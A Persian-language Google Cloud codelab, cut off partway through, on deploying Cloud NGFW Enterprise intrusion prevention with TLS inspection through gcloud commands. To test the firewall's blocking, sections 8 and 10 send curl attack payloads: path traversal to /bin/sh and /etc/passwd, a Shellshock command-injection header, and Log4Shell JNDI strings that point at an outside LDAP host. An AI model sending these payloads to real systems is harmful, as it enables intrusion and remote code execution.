Cloud NGFW Enterprise Codelab [با بازرسی TLS]

1. مقدمه

فایروال نسل بعدی ابر (NGFW)

فایروال Cloud Next Generation یک سرویس فایروال کاملاً توزیع شده با قابلیت های حفاظتی پیشرفته، تقسیم بندی میکرو و پوشش فراگیر برای محافظت از بار کاری Google Cloud شما در برابر حملات داخلی و خارجی است.

Cloud NGFW دارای مزایای زیر است:

  • سرویس فایروال توزیع شده: Cloud NGFW اجرای حالتی و کاملاً توزیع شده مبتنی بر میزبان را در هر بار کاری برای فعال کردن معماری امنیتی بدون اعتماد ارائه می کند.
  • پیکربندی و استقرار ساده شده: Cloud NGFW سیاست های شبکه و دیوار آتش سلسله مراتبی را پیاده سازی می کند که می تواند به یک گره سلسله مراتبی منبع متصل شود. این خط‌مشی‌ها یک تجربه فایروال منسجم را در سراسر سلسله مراتب منابع Google Cloud ارائه می‌کنند.
  • کنترل دانه‌بندی و تقسیم‌بندی خرد: ترکیبی از خط‌مشی‌های فایروال و برچسب‌های مدیریت هویت و دسترسی (IAM) کنترل خوبی را برای ترافیک شمال-جنوب و شرق-غرب، تا یک VM، در سراسر ابر خصوصی مجازی (VPC) فراهم می‌کند. شبکه ها و سازمان ها

Cloud NGFW در سطوح زیر موجود است:

  • Cloud Generation Next Firewall Essentials
  • استاندارد فایروال نسل بعدی ابر
  • Cloud نسل بعدی فایروال Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise سرویس پیشگیری از نفوذ (IPS)، یک قابلیت لایه 7 را به پارچه Google Cloud Firewall توزیع شده اضافه می کند. بازرسی TLS برای اجازه بازرسی برای ترافیک رمزگذاری شده TLS پشتیبانی می شود.

اکنون می‌توانید بازرسی‌های قابل اعتماد لایه 7 نسل بعدی فایروال (NGFW) را با کنترل‌های دانه‌ای، بدون ایجاد هیچ تغییری در معماری شبکه یا پیکربندی‌های مسیریابی، اجرا کنید.

برای فعال کردن و استقرار کنترل دیوار آتش لایه 7 با IPS، باید کارهای زیر را انجام دهید:

  • مجموعه ای از نقاط پایانی فایروال منطقه ای مدیریت شده Google Cloud ایجاد کنید.
  • به صورت اختیاری یک خط مشی بازرسی TLS ایجاد کنید.
  • به صورت اختیاری یک Trust Config ایجاد کنید.
  • این نقاط پایانی را با شبکه‌های Virtual Private Cloud (VPC) که در آن به سرویس Cloud NGFW Enterprise نیاز دارید، مرتبط کنید.
  • برای تعیین نمایه های پیشگیری از تهدید برای مسیرهای مختلف ترافیک، تغییرات ساده ای در سیاست های فایروال موجود و قوانین فایروال خود ایجاد کنید.

سیاست های فایروال شبکه

خط مشی فایروال شبکه به عنوان محفظه ای برای قوانین فایروال عمل می کند. قوانین تعریف شده در یک خط مشی فایروال شبکه تا زمانی که این خط مشی با شبکه VPC مرتبط نشود، در هیچ کجا اجرا نمی شوند. هر شبکه VPC می تواند یک خط مشی فایروال شبکه مرتبط با خود داشته باشد. خط‌مشی‌های فایروال شبکه از برچسب‌های تحت کنترل IAM (یا فقط برچسب‌ها) در قوانین فایروال پشتیبانی می‌کنند، که جایگزین برچسب‌های شبکه فعلی می‌شوند و می‌توانند برای ارائه هویت به حجم کار استفاده شوند.

به اشتراک گذاری یک خط مشی فایروال شبکه در بین شبکه ها و ادغام با برچسب های تحت کنترل IAM، پیکربندی و مدیریت فایروال ها را بسیار ساده می کند.

با معرفی خط مشی فایروال شبکه، خط مشی های فایروال Google Cloud اکنون از اجزای زیر تشکیل شده است:

  1. خط مشی فایروال سلسله مراتبی
  2. قوانین فایروال VPC
  3. خط مشی فایروال شبکه ( جهانی و منطقه ای )

خط‌مشی‌های فایروال سلسله مراتبی در سازمان و گره‌های پوشه در سلسله مراتب منابع پشتیبانی می‌شوند، در حالی که قوانین فایروال VPC و سیاست‌های فایروال شبکه در سطح VPC اعمال می‌شوند. یک تفاوت بزرگ بین قوانین فایروال VPC و سیاست های فایروال شبکه این است که قوانین فایروال VPC را می توان تنها برای یک شبکه VPC اعمال کرد، در حالی که سیاست های فایروال شبکه می تواند به یک VPC یا گروهی از VPC ها متصل شود، از جمله مزایای دیگر مانند به روز رسانی دسته ای.

در نهایت، ما قوانین فایروال ضمنی را نیز داریم که با هر شبکه VPC همراه است:

  • یک قانون خروج که عمل آن مجاز است، مقصد 0.0.0.0/0 است
  • یک قانون ورود که عمل آن رد می شود، منبع 0.0.0.0/0 است

به طور پیش فرض، دنباله اجرا در نمودار زیر نشان داده شده است:

21b3bcabc469ffe.png

لطفاً توجه داشته باشید که دستور اجرایی بین قوانین فایروال VPC و خط مشی فایروال شبکه جهانی قابل تعویض است. مشتریان می توانند در هر زمان با دستور gcloud دستور اجرایی را مشخص کنند.

برچسب ها

برچسب‌های جدید یکپارچه شده در قوانین خط‌مشی فایروال شبکه، منابع جفت کلید-مقدار هستند که در سطح سازمان یا پروژه سلسله مراتب منابع Google Cloud تعریف شده‌اند. چنین برچسبی شامل کنترل های دسترسی IAM است که مشخص می کند چه کسی می تواند چه کاری را روی برچسب انجام دهد. به عنوان مثال، مجوزهای مدیریت هویت و دسترسی (IAM) به فرد اجازه می دهد تا مشخص کند که چه اصولی می توانند مقادیری را به برچسب ها اختصاص دهند و چه اصولی می توانند برچسب ها را به منابع متصل کنند. اگر یک قانون فایروال شبکه به یک برچسب ارجاع می دهد، برای اجرا باید روی یک منبع اعمال شود.

برچسب‌ها به مدل منابع ارثی Google Cloud پایبند هستند، به این معنی که برچسب‌ها و مقادیر آن‌ها در سراسر سلسله مراتب از والدینشان منتقل می‌شوند. در نتیجه، برچسب ها ممکن است در یک مکان ایجاد شوند و سپس توسط پوشه ها و پروژه های دیگر در سراسر سلسله مراتب منابع استفاده شوند. برای جزئیات بیشتر در مورد برچسب ها و محدودیت دسترسی به این صفحه مراجعه کنید.

برچسب ها را نباید با برچسب های شبکه اشتباه گرفت. دومی رشته هایی هستند که می توانند به نمونه های Compute Engine اضافه شوند. آنها با نمونه مرتبط می شوند و زمانی که نمونه از کار افتاده ناپدید می شوند. قوانین فایروال VPC ممکن است شامل برچسب های شبکه باشد، اما از آنجایی که آنها به عنوان منابع ابری در نظر گرفته نمی شوند، تحت کنترل دسترسی IAM نیستند.

توجه داشته باشید که برچسب‌ها و برچسب‌های تحت کنترل IAM به جای یکدیگر در این سند استفاده می‌شوند.

چیزی که خواهی ساخت

این کد لبه نیاز به یک پروژه واحد و توانایی ایجاد یک شبکه VPC و همچنین مدیریت تعدادی از شبکه و منابع امنیتی دارد. این نشان می دهد که چگونه Cloud NGFW Enterprise می تواند عملکرد IPS را با موارد زیر ارائه دهد:

  • بازرسی جریان های اینترنت شمال با بازرسی TLS
  • بازرسی جریان های درون vpc [شرق-غرب] با بازرسی TLS

جریان هایی که باید بازرسی شوند با استفاده از پارامترهای تطبیق فایروال ابری از جمله 5 تایی (IP مبدا، IP مقصد، پروتکل، پورت مبدا، پورت مقصد) و برچسب ها انتخاب می شوند.

3d0f288d3b92a295.png

وضعیت پایانی پایگاه قوانین فایروال شبکه مشابه جدول زیر خواهد بود:

اولویت

جهت

هدف

منبع

مقصد

اقدام

تایپ کنید

100

ورود

Server_Tag

سلامت-چک

هر

اجازه دهید

ملزومات

200

ورود

Client_Tag، Server_Tag

IAP

هر

اجازه دهید

ملزومات

800

ورود

Server_Tag

10.0.0.0/24

10.0.0.0/24

بازرسی L7

تصدی

850

خروج

Client_Tag

هر

10.0.0.0/24

اجازه دهید

ملزومات

900

خروج

Client_Tag

هر

هر

بازرسی L7

تصدی

چیزی که یاد خواهید گرفت

  • نحوه ایجاد خط مشی فایروال شبکه
  • نحوه ایجاد و استفاده از برچسب ها با خط مشی فایروال شبکه
  • نحوه پیکربندی و استفاده از Cloud NGFW Enterprise با بازرسی TLS.

آنچه شما نیاز دارید

  • پروژه Google Cloud.
  • دانش استقرار نمونه ها و پیکربندی اجزای شبکه.
  • دانش پیکربندی فایروال VPC.

2. قبل از شروع

ایجاد/به روز رسانی متغیرها

این کد لبه از متغیرهای $ برای کمک به پیاده سازی پیکربندی gcloud در Cloud Shell استفاده می کند.

در Cloud Shell، دستورات زیر را اجرا کنید و در صورت لزوم، اطلاعات داخل پرانتز را جایگزین کنید:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. API ها را فعال کنید

اگر این کار را نکرده اید، API ها را فعال کنید:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise Endpoint Creation

از آنجایی که ایجاد نقطه پایانی Cloud NGFW Enterprise حدود 20 دقیقه طول می‌کشد، ابتدا ایجاد می‌شود و هنگام ایجاد نقطه پایانی، می‌توان پایه را به صورت موازی انجام داد.

ایجاد نمایه امنیتی و گروه نمایه امنیتی:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

خروجی مورد انتظار:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

تأیید کنید که منابع با موفقیت ایجاد شده اند:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به مشتری مورد استفاده متفاوت باشد:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

نقطه پایانی Cloud NGFW Enterprise را ایجاد کنید:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

دستور زیر را اجرا کنید تا تأیید کنید که نقطه پایانی در حال ایجاد است ( CREATING ).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به مشتری مورد استفاده متفاوت باشد):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

در صورت تمایل، دستور زیر را برای دریافت جزئیات بیشتر اجرا کنید:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

خروجی مورد انتظار:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

فرآیند ایجاد حدود 20 دقیقه طول می کشد. برای ایجاد منابع مورد نیاز به صورت موازی به قسمت Base Setup بروید.

5. راه اندازی پایه

شبکه و زیرشبکه VPC

شبکه VPC و زیرشبکه

شبکه و زیر شبکه VPC را ایجاد کنید:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Cloud Router و Cloud NAT gateway را ایجاد کنید:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

موارد

نمونه های سرویس گیرنده و وب سرور را ایجاد کنید:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

برچسب های سطح پروژه

در صورت نیاز مجوز tagAdmin را به کاربر اختصاص دهید:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

کلید و مقادیر Tag در سطح پروژه را ایجاد کنید:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

برچسب ها را به نمونه ها متصل کنید:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

خط مشی فایروال شبکه جهانی

ایجاد یک خط مشی فایروال شبکه جهانی:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

قوانین ضروری Cloud Firewall ضروری را ایجاد کنید تا به ترافیک از محدوده‌های پراکسی بررسی سلامت و هویت آگاه اجازه دهید:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

قوانین مورد نیاز Cloud Firewall را ایجاد کنید تا امکان ورود ترافیک شرقی-غربی / درون زیرشبکه از محدوده های خاص را فراهم کنید (این قوانین برای فعال کردن Cloud NGFW Enterprise با بازرسی TLS به روز می شوند):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

خط مشی فایروال ابری را به شبکه VPC مرتبط کنید:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud Firewall Endpoint Association

متغیرهای محیط را در صورتی که هنوز این کار را انجام نداده اید و/یا رویکرد اسکریپت را ترجیح داده اید، تعریف کنید.

تأیید کنید که ایجاد نقطه پایانی فایروال ابری با موفقیت انجام شده است. فقط زمانی ادامه دهید که حالت به صورت ACTIVE نشان داده شود (در طول ایجاد حالت مورد انتظار در حال ایجاد است):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به مشتری مورد استفاده متفاوت باشد):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

در صورت تمایل، دستور زیر را برای دریافت جزئیات بیشتر اجرا کنید:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

خروجی مورد انتظار:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

نقطه پایانی فایروال ابری را به شبکه VPC مرتبط کنید:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

فرآیند تداعی حدود 10 دقیقه طول می کشد. فقط زمانی که حالت به صورت ACTIVE نشان داده شد به بخش TLS بروید (در طول ایجاد حالت مورد انتظار در حال ایجاد است):

gcloud network-security firewall-endpoint-associations list

خروجی مورد انتظار پس از تکمیل:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

در صورت تمایل، دستور زیر را برای دریافت جزئیات بیشتر اجرا کنید:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

خروجی مورد انتظار:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. منابع TLS را پیکربندی کنید

یک استخر CA ایجاد کنید. این منبع برای نگهداری گواهینامه Root CA که برای NGFW Enterprise تولید می کنیم استفاده خواهد شد.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Root CA را ایجاد کنید. این گواهینامه CA است که برای امضای گواهی‌های اضافی برای درخواست‌ها از طریق NGFW Enterprise استفاده می‌شود.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

اگر پیام زیر از شما خواسته شد، به y پاسخ دهید:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

یک حساب کاربری ایجاد کنید. این حساب سرویس برای درخواست گواهینامه برای NGFW Enterprise استفاده خواهد شد:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

مجوزهای IAM را برای حساب سرویس تنظیم کنید:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

فایل YAML TLS Policy را ایجاد کنید. این فایل حاوی اطلاعاتی در مورد منابع خاص است:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

سیاست بازرسی TLS را وارد کنید:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

ارتباط نقطه پایانی را برای فعال کردن TLS به روز کنید:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

گواهی CA را دریافت کنید و آن را به فروشگاه CA مشتری اضافه کنید:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

انتقال گواهی CA به مشتری:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH به VM، گواهی CA را به /usr/local/share/ca-certificates منتقل کنید و فروشگاه CA را به روز کنید:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

به cloudshell برگردید.

فرآیند امضای گواهی سرور:

در cloudshell، کتابخانه رمزنگاری Pyca را با استفاده از دستور pip نصب کنید:

pip install --user "cryptography>=2.2.0"

برای اینکه به Google Cloud SDK اجازه دهید از کتابخانه رمزنگاری Pyca استفاده کند، باید بسته‌های سایت را فعال کنید.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

ایجاد گواهی سرور:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

با این کار یک فایل cert.pem و key.pem در cloudshell ایجاد می شود. بعد، گواهی و کلید را به سرور منتقل کنید.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

SSH به سرور برای به روز رسانی جزئیات گواهی برای Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

انتقال گواهی و کلید به پوشه خاص:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

پیکربندی ssl را برای استفاده از گواهی امضا شده به روز کنید:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

راه اندازی مجدد آپاچی:

sudo systemctl restart apache2

بررسی وضعیت آپاچی:

sudo systemctl status apache2

باید فعال باشد (در حال اجرا).

از VM خارج شده و در cloudshell ادامه دهید.

8. اعتبارسنجی اتصال Northbound و E/W

دستورات زیر را در Cloud Shell اجرا کنید و IP های هدف مورد استفاده را یادداشت کنید:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

یک برگه جدید باز کنید و یک اتصال SSH به VM مشتری از طریق IAP شروع کنید (شما باید متغیرها را در تب جدید تعریف کنید):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

دستورات زیر را اجرا کنید و آی پی های مورد نظر را یادداشت کنید. متغیرهایی را ایجاد کنید که مقادیر درون پرانتز را با IP های ذکر شده در مرحله قبل جایگزین کنید و مطمئن شوید که قابل دسترسی هستند:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

IP خصوصی را پیچ کنید و مطمئن شوید که در دسترس است:

curl https://$target_privateip --max-time 2

نتایج مورد انتظار برای درخواست curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

ارسال نمونه حملات به IP. وب سرور باید به همه درخواست‌ها پاسخ دهد و تأیید کند که هیچ بازرسی/پیشگیری L7 وجود ندارد:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

نمونه نتایج مورد انتظار (IP خصوصی):

400
404
400
200
200

به طور مشابه، درخواست ها را به یک مقصد اینترنتی ارسال کنید:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

نمونه نتایج مورد انتظار (مقصد اینترنتی):

400
404
400
403
403

از ترمینال VM خارج شوید و به پوسته ابری بازگردید.

9. قوانین فایروال را برای بازرسی TLS ایجاد و به روز کنید

پیش از این، ما یک قانون فایروال را پیکربندی کردیم تا اجازه دهد ترافیک ورودی از زیر شبکه داخلی به سرور ما وارد شود. اکنون قوانین ورودی موجود را به روز می کنیم و اکشن را روی apply_security_profile_group تنظیم می کنیم. این بازرسی E/W L7 با TLS را فعال می کند:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

یک قانون جدید برای بازرسی بازرسی L7 به شمال با TLS ایجاد کنید.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

یک قانون جدید ایجاد کنید تا به EGRESS برای E/W اجازه دهد تا از بازرسی مضاعف جلوگیری کند.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. اعتبار سنجی بازرسی TLS به شمال

به تب مشتری VM برگردید یا دوباره وصل شوید:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

نمونه حملات را به یک مقصد اینترنتی ارسال کنید:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

هیچ پاسخی مطابق با خروجی مورد انتظار در زیر دریافت نمی‌شود و تأیید می‌کند که حملات نمونه در حال حاضر مسدود شده‌اند:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

متغیر را روی IP سرور از قبل تنظیم کنید:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

ارسال نمونه درخواست های TLS به سرور:

curl https://$target_privateip --max-time 2

خروجی مورد انتظار:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

چرا این درخواست شکست خورد؟ این به این دلیل است که فایروال یک گواهی از سرور دریافت می کند که هیچ اعتمادی وجود ندارد. اگر این اتفاق بیفتد، گواهی خود امضا شده را به مشتری ارسال می کند. برای فعال کردن اعتماد، باید گواهی CA را به عنوان بخشی از پیکربندی اعتماد اضافه کنیم.

به پوسته ابر برگردید.

11. پیکربندی Trust Config

گواهی Root CA را دریافت کنید و آن را به عنوان یک متغیر با قالب بندی مناسب تنظیم کنید.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

فایل Trust Config YAML را پیکربندی کنید. این فایل حاوی جزئیات اعتماد مانند گواهینامه های CA است:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

